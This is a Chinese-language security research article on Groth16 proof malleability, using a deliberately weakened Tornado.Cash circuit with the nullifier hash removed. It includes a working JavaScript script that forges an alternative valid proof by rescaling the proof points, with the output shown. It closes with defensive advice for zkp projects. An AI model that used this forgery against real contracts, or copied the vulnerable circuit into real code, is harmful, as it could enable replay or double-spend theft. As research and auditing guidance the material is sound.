Beosin硬核研究 | 深入探究 Tornado.Cash,揭示zkp项目的延展性攻击
本文作者:Beosin安全研究专家Saya & Bryce
1 Tornado.Cash 架构
User:使用该DApp进行混币器隐私交易,包括存、取款。
Web page:DApp的前端网页,网页上包含一些用户按钮。
Relayer:为防止链上节点记录发起隐私交易的ip地址等信息,该服务器会代替用户重放交易,进一步增强隐私性。
Contract:包含一个代理合约Tornado.Cash Proxy,该代理合约会根据用户存取款的金额选择指定的Tornado池子进行后续的存取款操作。目前已存在4个池子,金额分别为:0.1、1、10、100。
deposit:当用户进行存款交易时,首先在前端网页上选择存入的代币(BNB、ETH等)和对应的数额,为了更好的确保用户的隐私性,只能存入四种金额数量;
随后发起一笔deposit交易将commitment等数据发送到链上Tornado.Cash Proxy合约中,代理合约根据deposit的金额将数据转发至对应的Pool中,最后Pool合约将commitment作为叶子结点插入到merkle tree,并将计算出的root存储在Pool合约中。
withdraw:当用户进行取款交易时,首先在前端网页上输入deposit时返回的note数据和收款地址;
接着服务器会在链下检索出所有Tornadocash的deposit事件,提取其中的commitment构建链下的Merkle tree,并根据用户给出的note数据(nullifier+secret)生成commitment并生成对应的Merkle Path和对应的root,并作为电路输入得到零知识SNARK proof;最后,再发起一笔withdraw交易到链上的Tornado.Cash Proxy合约中,接着根据参数跳转到对应的Pool合约中验证证明,将钱打入用户指定的接收者地址。
2 Tornado.Cash 魔改漏洞版
2.1 Tornado.Cash 魔改
/**
@dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs
`input` array consists of:
- merkle root of all deposits in the contract
- hash of unique deposit nullifier to prevent double spends
- the recipient of funds
- optional fee that goes to the transaction sender (usually a relay)
*/
function withdraw(
bytes calldata _proof,
bytes32 _root,
bytes32 _nullifierHash,
address payable _recipient,
address payable _relayer,
uint256 _fee,
uint256 _refund
) external payable nonReentrant {
require(_fee <= denomination, "Fee exceeds transfer value");
require(!nullifierHashes[_nullifierHash], "The note has been already spent");
require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one
require(
verifier.verifyProof(
_proof,
[uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund]
),
"Invalid withdraw proof"
);
nullifierHashes[_nullifierHash] = true;
_processWithdraw(_recipient, _relayer, _fee, _refund);
emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee);
}
include "../../../../node_modules/circomlib/circuits/bitify.circom";
include "../../../../node_modules/circomlib/circuits/pedersen.circom";
// computes Pedersen(nullifier + secret)
template CommitmentHasher() {
signal input nullifier;
signal input secret;
signal output commitment;
// signal output nullifierHash; // delete
component commitmentHasher = Pedersen(496);
// component nullifierHasher = Pedersen(248);
component nullifierBits = Num2Bits(248);
component secretBits = Num2Bits(248);
nullifierBits.in <== nullifier;
secretBits.in <== secret;
for (var i = 0; i < 248; i++) {
// nullifierHasher.in[i] <== nullifierBits.out[i]; // delete
commitmentHasher.in[i] <== nullifierBits.out[i];
commitmentHasher.in[i + 248] <== secretBits.out[i];
}
commitment <== commitmentHasher.out[0];
// nullifierHash <== nullifierHasher.out[0]; // delete
}
// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits
signal output commitment;
signal input recipient; // not taking part in any computations
signal input relayer; // not taking part in any computations
signal input fee; // not taking part in any computations
signal input refund; // not taking part in any computations
signal input nullifier;
signal input secret;
component hasher = CommitmentHasher();
hasher.nullifier <== nullifier;
hasher.secret <== secret;
commitment <== hasher.commitment;
// Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof
// Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints
// Squares are used to prevent optimizer from removing those constraints
signal recipientSquare;
signal feeSquare;
signal relayerSquare;
signal refundSquare;
recipientSquare <== recipient * recipient;
feeSquare <== fee * fee;
relayerSquare <== relayer * relayer;
refundSquare <== refund * refund;
}
component main = Withdraw(20);
The proof: {
pi_a: [
12731245758885665844440940942625335911548255472545721927606279036884288780352n,
11029567045033340566548367893304052946457319632960669053932271922876268005970n,
1n
],
pi_b: [
[
4424670283556465622197187546754094667837383166479615474515182183878046002081n,
8088104569927474555610665242983621221932062943927262293572649061565902268616n
],
[
9194248463115986940359811988096155965376840166464829609545491502209803154186n,
18373139073981696655136870665800393986130876498128887091087060068369811557306n
],
[ 1n, 0n ]
],
pi_c: [
1626407734863381433630916916203225704171957179582436403191883565668143772631n,
10375204902125491773178253544576299821079735144068419595539416984653646546215n,
1n
],
protocol: 'groth16',
curve: 'bn128'
}
2.2 实验验证
2.2.1 验证证明 — circom 生成的默认合约
2.2.2 验证证明 — 普通防重放合约
import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"
import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"
import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"
import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";
import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";
import fs from "fs";
import { utils } from "ffjavascript";
const {unstringifyBigInts} = utils;
groth16_exp();
async function groth16_exp(){
let inputA = "7";
let inputB = "11";
const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');
// 2. 读取string后转化为int
const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8")));
console.log("The proof:",proof);
// 生成逆元,生成的逆元必须在F1域
const F = new ZqField(SNARK_FIELD_SIZE);
// const F = new F2Field(SNARK_FIELD_SIZE);
const X = F.e("123456")
const invX = F.inv(X)
console.log("x:" ,X )
console.log("invX" ,invX)
console.log("The timesScalar is:",F.mul(X,invX))
// 读取椭圆曲线G1、G2点
const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8"));
// console.log("The curve is:",vKey);
const curve = await curves.getCurveFromName(vKey.curve);
const G1 = curve.G1;
const G2 = curve.G2;
const A = G1.fromObject(proof.pi_a);
const B = G2.fromObject(proof.pi_b);
const C = G1.fromObject(proof.pi_c);
const new_pi_a = G1.timesScalar(A, X); //A'=x*A
const new_pi_b = G2.timesScalar(B, invX); //B'=x^{-1}*B
proof.pi_a = G1.toObject(G1.toAffine(A));
proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))
proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))
// 将生成的G1、G2点转化为proof
console.log("proof.pi_a:",proof.pi_a);
console.log("proof.new_pi_a:",proof.new_pi_a)
console.log("proof.new_pi_b:",proof.new_pi_b)
}
proof.pi_a: [
12731245758885665844440940942625335911548255472545721927606279036884288780352n,
11029567045033340566548367893304052946457319632960669053932271922876268005970n,
1n
]
proof.new_pi_a: [
3268624544870461100664351611568866361125322693726990010349657497609444389527n,
21156099942559593159790898693162006358905276643480284336017680361717954148668n,
1n
]
proof.new_pi_b: [
[
2017004938108461976377332931028520048391650017861855986117340314722708331101n,
6901316944871385425597366288561266915582095050959790709831410010627836387777n
],
[
17019460532187637789507174563951687489832996457696195974253666014392120448346n,
7320211194249460400170431279189485965933578983661252776040008442689480757963n
],
[ 1n, 0n ]
]
2.2.3 验证证明 — Tornado.Cash防重放合约
3 总结和建议
与传统DApp使用地址等唯一数据生成节点数据的方式不同,zkp项目通常是使用组合随机数的方式生成Merkle tree节点,需要注意业务逻辑是否允许插入相同数值节点的情况。因为相同的叶子结点数据可能导致部分用户资金被锁死在合约中,或者是同一叶子节点数据存在多个Merkle Proof混淆业务逻辑的情况。
zkp项目方通常使用mapping记录已使用的过的Proof,防范双花攻击。需要注意使用Groth16开发时,由于存在延展性攻击,因此记录需使用节点原始数据,而不能仅仅使用Proof相关数据标识。
复杂电路可能存在电路不确定、欠约束等问题,合约验证时条件不完整,实现逻辑存在漏洞等问题,我们强烈建议项目方在项目上线时,寻求对电路和合约都有一定研究的安全审计公司进行全面审计,尽可能的保证项目安全。